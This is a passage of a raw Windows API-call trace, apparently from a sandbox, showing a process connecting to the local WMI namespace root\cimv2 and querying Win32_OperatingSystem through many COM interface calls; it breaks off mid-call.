WbemLocator:IUnknown:QueryInterface (in: This=0x1d496d20, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0277.842] WbemLocator:IUnknown:AddRef (This=0x1d496d20) returned 0x3 [0277.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496d20, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0277.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496d20, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0277.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496d20, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0277.842] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0277.842] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0277.842] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496d20, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0277.842] WbemLocator:IUnknown:Release (This=0x1d496d20) returned 0x2 [0277.842] WbemLocator:IUnknown:Release (This=0x1d496d20) returned 0x1 [0277.843] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0277.843] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0277.843] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496d20, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d496d20) returned 0x0 [0277.843] WbemLocator:IUnknown:AddRef (This=0x1d496d20) returned 0x3 [0277.843] WbemLocator:IUnknown:Release (This=0x1d496d20) returned 0x2 [0277.843] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0277.843] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) returned 0x0 [0277.843] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0277.843] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d496ea0) returned 0x0 [0277.843] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d496ea0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d474330) returned 0x0 [0277.867] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474330, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b350980) returned 0x0 [0277.867] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b350980, pProxy=0x1d474330, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0277.867] WbemLocator:IUnknown:Release (This=0x1b350980) returned 0x1 [0277.867] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474330, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b3509c8) returned 0x0 [0277.867] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474330, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b350980) returned 0x0 [0277.867] WbemLocator:IClientSecurity:SetBlanket (This=0x1b350980, pProxy=0x1d474330, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0277.868] WbemLocator:IUnknown:Release (This=0x1b350980) returned 0x2 [0277.868] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0277.868] CoTaskMemFree (pv=0x1d4721c0) [0277.868] WbemLocator:IUnknown:Release (This=0x1d496ea0) returned 0x0 [0277.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474330, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b3509c8) returned 0x0 [0277.868] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0277.869] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0277.869] WbemLocator:IUnknown:QueryInterface (in: This=0x1d474330, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0277.870] WbemLocator:IUnknown:AddRef (This=0x1b3509c8) returned 0x3 [0277.870] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0277.870] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0277.870] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b3508a8) returned 0x0 [0277.870] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3508a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0277.870] WbemLocator:IUnknown:Release (This=0x1b3508a8) returned 0x3 [0277.870] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0277.870] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0277.870] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b350990) returned 0x0 [0277.870] WbemLocator:IRpcOptions:Query (in: This=0x1b350990, pPrx=0x1b3509c8, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0277.870] WbemLocator:IUnknown:Release (This=0x1b350990) returned 0x3 [0277.871] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x2 [0277.871] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0277.871] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0277.871] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d474330) returned 0x0 [0277.871] WbemLocator:IUnknown:AddRef (This=0x1d474330) returned 0x4 [0277.871] WbemLocator:IUnknown:Release (This=0x1d474330) returned 0x3 [0277.871] WbemLocator:IUnknown:Release (This=0x1d474330) returned 0x2 [0277.871] SysStringLen (param_1=0x0) returned 0x0 [0277.871] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0277.871] WbemLocator:IUnknown:AddRef (This=0x1b3509c8) returned 0x3 [0277.871] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3509c8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b3509c8) returned 0x0 [0277.871] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x3 [0277.871] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x2 [0277.871] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0277.871] WbemLocator:IUnknown:AddRef (This=0x1d474330) returned 0x3 [0277.871] IWbemServices:ExecQuery (in: This=0x1d474330, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35b130) returned 0x0 [0277.883] IUnknown:QueryInterface (in: This=0x1d35b130, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35b138) returned 0x0 [0277.883] IClientSecurity:QueryBlanket (in: This=0x1d35b138, pProxy=0x1d35b130, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, pImpLevel=0x1d2ddea0, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4 | out: pAuthnSvc=0x1d2ddf10*=0xa, pAuthzSvc=0x1d2dde90*=0x0, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94*=0x6, pImpLevel=0x1d2ddea0*=0x2, pAuthInfo=0x1d2ddec8, pCapabilites=0x1d2ddea4*=0x1) returned 0x0 [0277.883] IUnknown:Release (This=0x1d35b138) returned 0x1 [0277.883] IUnknown:QueryInterface (in: This=0x1d35b130, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddde0 | out: ppvObject=0x1d2ddde0*=0x1b3516c8) returned 0x0 [0277.883] IUnknown:QueryInterface (in: This=0x1d35b130, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dddf0 | out: ppvObject=0x1d2dddf0*=0x1d35b138) returned 0x0 [0277.883] IClientSecurity:SetBlanket (This=0x1d35b138, pProxy=0x1d35b130, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0277.898] IUnknown:Release (This=0x1d35b138) returned 0x2 [0277.898] WbemLocator:IUnknown:Release (This=0x1b3516c8) returned 0x1 [0277.898] CoTaskMemFree (pv=0x1d471b90) [0277.898] IUnknown:QueryInterface (in: This=0x1d35b130, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8b0 | out: ppvObject=0x1d2dd8b0*=0x1b3516c8) returned 0x0 [0277.899] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd940 | out: ppvObject=0x1d2dd940*=0x0) returned 0x80004002 [0277.899] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x0) returned 0x80004002 [0277.899] IUnknown:QueryInterface (in: This=0x1d35b130, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd138 | out: ppvObject=0x1d2dd138*=0x0) returned 0x80004002 [0277.900] WbemLocator:IUnknown:AddRef (This=0x1b3516c8) returned 0x3 [0277.900] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcff8 | out: ppvObject=0x1d2dcff8*=0x0) returned 0x80004002 [0277.900] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcf80 | out: ppvObject=0x1d2dcf80*=0x0) returned 0x80004002 [0277.900] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf70 | out: ppvObject=0x1d2dcf70*=0x1b3515a8) returned 0x0 [0277.900] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b3515a8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcf98 | out: pCid=0x1d2dcf98*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0277.900] WbemLocator:IUnknown:Release (This=0x1b3515a8) returned 0x3 [0277.900] CoGetContextToken (in: pToken=0x1d2dd020 | out: pToken=0x1d2dd020) returned 0x0 [0277.900] CoGetContextToken (in: pToken=0x1d2dd4a0 | out: pToken=0x1d2dd4a0) returned 0x0 [0277.900] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd560 | out: ppvObject=0x1d2dd560*=0x1b351690) returned 0x0 [0277.901] WbemLocator:IRpcOptions:Query (in: This=0x1b351690, pPrx=0x1b3516c8, dwProperty=2, pdwValue=0x1d2dd550 | out: pdwValue=0x1d2dd550) returned 0x80004002 [0277.901] WbemLocator:IUnknown:Release (This=0x1b351690) returned 0x3 [0277.901] WbemLocator:IUnknown:Release (This=0x1b3516c8) returned 0x2 [0277.901] CoGetContextToken (in: pToken=0x1d2ddb60 | out: pToken=0x1d2ddb60) returned 0x0 [0277.901] CoGetContextToken (in: pToken=0x1d2dda60 | out: pToken=0x1d2dda60) returned 0x0 [0277.901] WbemLocator:IUnknown:QueryInterface (in: This=0x1b3516c8, riid=0x1d2ddbc0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1d2ddb90 | out: ppvObject=0x1d2ddb90*=0x1d35b130) returned 0x0 [0277.901] IUnknown:AddRef (This=0x1d35b130) returned 0x4 [0277.901] IUnknown:Release (This=0x1d35b130) returned 0x3 [0277.901] IUnknown:Release (This=0x1d35b130) returned 0x2 [0277.901] WbemLocator:IUnknown:Release (This=0x1d474330) returned 0x2 [0277.901] SysStringLen (param_1=0x0) returned 0x0 [0277.901] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de1b8 | out: puCount=0x1d2de1b8*=0x2) returned 0x0 [0277.901] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de1b0*=0xf, pszText=0x0) returned 0x0 [0277.901] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de1b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de1b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0277.901] CoGetContextToken (in: pToken=0x1d2ddcf0 | out: pToken=0x1d2ddcf0) returned 0x0 [0277.902] IUnknown:AddRef (This=0x1d35b130) returned 0x3 [0277.902] IEnumWbemClassObject:Clone (in: This=0x1d35b130, ppEnum=0x1d2de0f0 | out: ppEnum=0x1d2de0f0*=0x1d35bd00) returned 0x0 [0277.903] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde78 | out: ppvObject=0x1d2dde78*=0x1d35bd08) returned 0x0 [0277.903] IClientSecurity:QueryBlanket (in: This=0x1d35bd08, pProxy=0x1d35bd00, pAuthnSvc=0x1d2ddf40, pAuthzSvc=0x1d2ddec0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4, pImpLevel=0x1d2dded0, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4 | out: pAuthnSvc=0x1d2ddf40*=0xa, pAuthzSvc=0x1d2ddec0*=0x0, pServerPrincName=0x1d2ddee8, pAuthnLevel=0x1d2ddec4*=0x6, pImpLevel=0x1d2dded0*=0x2, pAuthInfo=0x1d2ddef8, pCapabilites=0x1d2dded4*=0x1) returned 0x0 [0277.903] IUnknown:Release (This=0x1d35bd08) returned 0x1 [0277.903] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde10 | out: ppvObject=0x1d2dde10*=0x1b350b68) returned 0x0 [0277.903] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde20 | out: ppvObject=0x1d2dde20*=0x1d35bd08) returned 0x0 [0277.903] IClientSecurity:SetBlanket (This=0x1d35bd08, pProxy=0x1d35bd00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0277.905] IUnknown:Release (This=0x1d35bd08) returned 0x2 [0277.905] WbemLocator:IUnknown:Release (This=0x1b350b68) returned 0x1 [0277.905] CoTaskMemFree (pv=0x1d472040) [0277.906] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd8d0 | out: ppvObject=0x1d2dd8d0*=0x1b350b68) returned 0x0 [0277.906] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd960 | out: ppvObject=0x1d2dd960*=0x0) returned 0x80004002 [0277.906] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x0) returned 0x80004002 [0277.907] IUnknown:QueryInterface (in: This=0x1d35bd00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd158 | out: ppvObject=0x1d2dd158*=0x0) returned 0x80004002 [0277.907] WbemLocator:IUnknown:AddRef (This=0x1b350b68) returned 0x3 [0277.907] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dd018 | out: ppvObject=0x1d2dd018*=0x0) returned 0x80004002 [0277.907] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcfa0 | out: ppvObject=0x1d2dcfa0*=0x0) returned 0x80004002 [0277.907] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcf90 | out: ppvObject=0x1d2dcf90*=0x1b350a48) returned 0x0 [0277.907] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b350a48, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcfb8 | out: pCid=0x1d2dcfb8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0277.908] WbemLocator:IUnknown:Release (This=0x1b350a48) returned 0x3 [0277.908] CoGetContextToken (in: pToken=0x1d2dd040 | out: pToken=0x1d2dd040) returned 0x0 [0277.908] CoGetContextToken (in: pToken=0x1d2dd4c0 | out: pToken=0x1d2dd4c0) returned 0x0 [0277.908] WbemLocator:IUnknown:QueryInterface (in: This=0x1b350b68, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd580 | out: ppvObject=0x1d2dd580*=0x1b350b30) returned 0x0 [0277.908] WbemLocator:IRpcOptions:Query (in: 